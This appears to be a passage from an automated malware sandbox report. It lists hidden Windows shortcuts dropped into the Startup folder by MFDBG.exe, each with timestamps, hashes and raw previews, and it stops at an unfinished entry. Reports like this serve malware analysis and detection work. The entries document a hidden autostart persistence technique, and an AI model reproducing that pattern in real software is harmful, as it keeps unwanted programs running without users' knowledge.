File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:54 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919837084860033
Encrypted:	false
SSDEEP:	24:8PBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ZlEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1F89F8F6068F9744B3086DE2807B96F4
SHA1:	6F47FA00E73A70B89986D75ED6A33AA5C9B5150A
SHA-256:	FC7F6B5D4A1A4FEEDA01796DF77B449317EDA16CE51C6713A221C58CAEADCFAA
SHA-512:	9A2C63A7D12A6DEE773FC7865C25B0C7B4F1E85F9A830FC48F67CD4322D6AFCEB8C524DCE4D488E47CB8CF169AFD7C4D4BAB032A99C9357C139B93856B28B34C
Malicious:	false
Preview:	L..................F....".......d....6.=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...1.=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8dbccecac0344f9b8a6b4793f876c031.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919493155762621
Encrypted:	false
SSDEEP:	24:82BfTf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88IEvZ0yRO7DLO2zdxdRd1kyg
MD5:	FFE6C7EF373E5DC5E3B0647E307F6A16
SHA1:	91D8AFF154B38646726CAFE5B8201750CE1515AB
SHA-256:	69098BF4D3CF5E6DBEFFBE33FFC57D76AD39F063385C21FE29DF1A172072909D
SHA-512:	8BDE15666F8C82D31F0E2F9DFA2E2013085A67D2018E5907A83B32A7845EFB5FF881122F42AEB837FEFA1AB32E74A65D1D4DD13633D7D589C200EB0E17F98BC6
Malicious:	false
Preview:	L..................F....".......d....-1.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....".d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8ddfcca9825d4ae4b04378da42c71757.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:13 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9194269944132385
Encrypted:	false
SSDEEP:	24:8QBfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8eoEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F5CE542D15B12344998B2BC890B51792
SHA1:	89C2EE75953161CB2215134F56233557699421A2
SHA-256:	49D601F0555999BD427E2D6DAAADA06C96686A5FC8149CFE0CA188913CFFC31E
SHA-512:	4128A80D6E02B8948A36E990708E06C986A2B1985BFDC8CD23B9BF753AAB74330EF59FE5B12747679C001C1F69F83FB3682D3752E85D47B8A620E6F3061120AB
Malicious:	false
Preview:	L..................F....".......d...:VU%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c..._W6%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8df6d2a03264460c8271eb55dd52360c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918662839300559
Encrypted:	false
SSDEEP:	24:80pQBfY8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8jFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F1E9704BF974E07D06D3EF82F3C92438
SHA1:	2714AB3589940EA20D51398CDC695CE4C8BCB3D1
SHA-256:	861899844A27D1154F6733D4C7871F2C0FBEB055F5C37DB27DB3B11DFF533CFB
SHA-512:	78F336F7104DE688D4C7BC5B48387086C5E2F8A8D0CFC5470F92BB0285F132FB3D1051FAF1D5895B4DC5351A96BC94AFC29B2683B916C279BB882C31857E6DE0
Malicious:	false
Preview:	L..................F....".......d.....c:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....a:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8f307e844fae488fb17774c67bc6cddb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930824084254249
Encrypted:	false
SSDEEP:	24:8RTBfR8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8z+EvZ0yRO7DLO2zdxdRd1kyg
MD5:	272393638300526EAA870EAB4E82CC24
SHA1:	50CFDD78F0AF6F3188DA7DBFE572BF4EC8BFA268
SHA-256:	EB2016499E863FC3EAA26B547FB93B3E10C96F8B835F4AE939340DDF57D86298
SHA-512:	8563AF6D22D18FA0B10357A8D2633C398A727AC70DFAD5E992E36E963716AA844110BF7FB48A6076892E1EFD2E85D9AF62E95C400B45FD89B2ADE7B1778A8771
Malicious:	false
Preview:	L..................F....".......d......$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...b..#d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8fc40287b1494e3fb1bc4cccf7729a08.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920560876772536
Encrypted:	false
SSDEEP:	24:8akrBfeQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8akd2FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8440BC65D2A33E163C8F141C05E4C64B
SHA1:	4AC2F86E3A814BD387D121036FE7428FFE836A56
SHA-256:	ABCA8CD45398CCAFCC050EC4E4BF025ED1407B8CDE7D44B5C3FBCAA8CF0999FF
SHA-512:	716C6F64001F19A007264D21F27DE9024DD966C7D8C10EF623026213E72CFB56FD826979BE819658E235409AE8218AC23070885E9BBAA9F35B728C87BF12F3F4
Malicious:	false
Preview:	L..................F....".......d.....Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...6UrRd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_903026c153da4f3786d827bedbc5b081.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927643784276771
Encrypted:	false
SSDEEP:	24:8dBfJ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8PGEvZ0yRO7DLO2zdxdRd1kyg
MD5:	258006A32063379EB0F9E965C5F04714
SHA1:	A1930070EC60749922AFC1A2A2A18524A6597F23
SHA-256:	B90C7C40F6FBCF37582559ED8A8AB19293CD739016C35FEE56C2404A57BC50AF
SHA-512:	BEA34E6505EBF8D65BCA15ED6633ACC2E4A9A2AB7546EC1B9497F27803E440B89BF0AD6E7EB0553429173343B5698C20886D3FFF3182436A84884AB5DAEC511A
Malicious:	false
Preview:	L..................F....".......d....)z\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....X\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_90704eec61fd46579887b548a9eed8d8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923933727271063
Encrypted:	false
SSDEEP:	24:8XQBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8XePEvZ0yRO7DLO2zdxdRd1kyg
MD5:	6636E8D75383F35DD5A6011EDC7BF458
SHA1:	B1C6559DD3799DF28C7D386643F407B5128E6380
SHA-256:	0857DB847D214B36F321E715C397A29000D3F140985EAA6316D96825FB5900C8
SHA-512:	A9254BF06E740BCAB1FAF9BFFBBCCF12DC07624381FE6301AA005D0BAAAE9EA16632D226A6FE636771564031A91D7F5DC7724EEF6CD848AD7C1DC4607B442EB8
Malicious:	false
Preview:	L..................F....".......d.....>&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9099c16e1382467c811a672fc770752a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922772831503212
Encrypted:	false
SSDEEP:	24:8HBfwof8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8hWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	769DBBD0C14400794B74A6352EAB1B89
SHA1:	CBB5BBE0F03C487B4765E99E8F6FD80DFC56EE10
SHA-256:	14EB898D62DC17C2369D8D6D25BF12EA49C91CA1C4912E6E5F59D3DEF4C7C375
SHA-512:	E3F09E650369CA3170F2FCAB04063E65CCB2CCC7B9536BB1774F896245F4D1E74816B61B7C3DCA10DE06B18BAAAABD646D5F16B35C3398B6D0511D0D84B9DF58
Malicious:	false
Preview:	L..................F....".......d...Q&c[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....:W[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_90f3b95b8fb14cb4b5882761f0651ca2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:02 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919626930212783
Encrypted:	false
SSDEEP:	24:8IBfZ48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8GR9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	3A4A09D7BBD97833BD2F09AB261A7117
SHA1:	002A626E2A322BBD8C331913320340E95BBE6868
SHA-256:	4CC5D0F5428C4756CA55D534AB2D44904FDDF1B2E0E1249AA2256AC1D5C7A0C2
SHA-512:	EF4E6F9EA064DA690B9DD506E1A46545D1DC81BCCF8039AC171B96B0D00AA9EA7932C105350BDB76D1794669323943A9790A05DF0913A41A8FB35D4787D70112
Malicious:	false
Preview:	L..................F....".......d...QrS.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....U.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_913721615ea7489a86bac28b3be77485.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934348313329138
Encrypted:	false
SSDEEP:	24:82Bf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:881EvZ0yRO7DLO2zdxdRd1kyg
MD5:	5E9A9BF5B6B5F6657CD25A538C4FA1DF
SHA1:	940A9C7AB054A5C2744A67ECD24BFD929B59FC61
SHA-256:	C45C4FC2E97BE12A071F1B5138F32D747D3D6FEECA96736F4761F29B1F9AF751
SHA-512:	0DEF3CD2F3F86D4FF651DA94CB682E5711E6EC0827A85F5C64B3279EAF8F88BFA2DA8E17000E27FB671099778A36CB3154AF5AA8DAB2C0A710EA9BEC6E500E5B
Malicious:	false
Preview:	L..................F....".......d...[..~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_914ebca86136446b829e2c04269d821e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9218886574259875
Encrypted:	false
SSDEEP:	24:8gBfz8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8uYEvZ0yRO7DLO2zdxdRd1kyg
MD5:	41843B206B8E74ED53C7E064A4882DBE
SHA1:	507710CD7FAC354FC95DFA66C3F7F7AD9C01B55B
SHA-256:	688A1E9DDE8100B26DE814FE46C597FB1F04086A7F1C53D50683330E1480574F
SHA-512:	67EA674E3459F98B8444F894B752A80D2F78E77EF65260DBF5F45D787B062EA216DE21025B8152AC48271B9F41A8D4534603D370A1896D8C6730E9FF9D614D10
Malicious:	false
Preview:	L..................F....".......d....\|+\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....T$\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_918c59f001604a4695e37675d81cafdd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923249488993383
Encrypted:	false
SSDEEP:	24:8VBfT+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8XLTEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8C6991E8BAF08E200BD034B852F70EB9
SHA1:	AD7B50E6751E0EEE567E44EF8617075515C6E171
SHA-256:	DEEA859C2C8D0E48BD09105B59FCE4264BFE19DDA7BE088A08145E6B9897631C
SHA-512:	FB8B13516B3D3118870DE6CB125E250309C4C25ABF81260165AFB03EFE3F62D20066576C1529EEEC5B499185659EADAD6DE07F272FAE9CD5B285BB163C59791C
Malicious:	false
Preview:	L..................F....".......d...d{.9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....iO9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_91c2e9a5b2ee41e8a15822e292b30b11.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
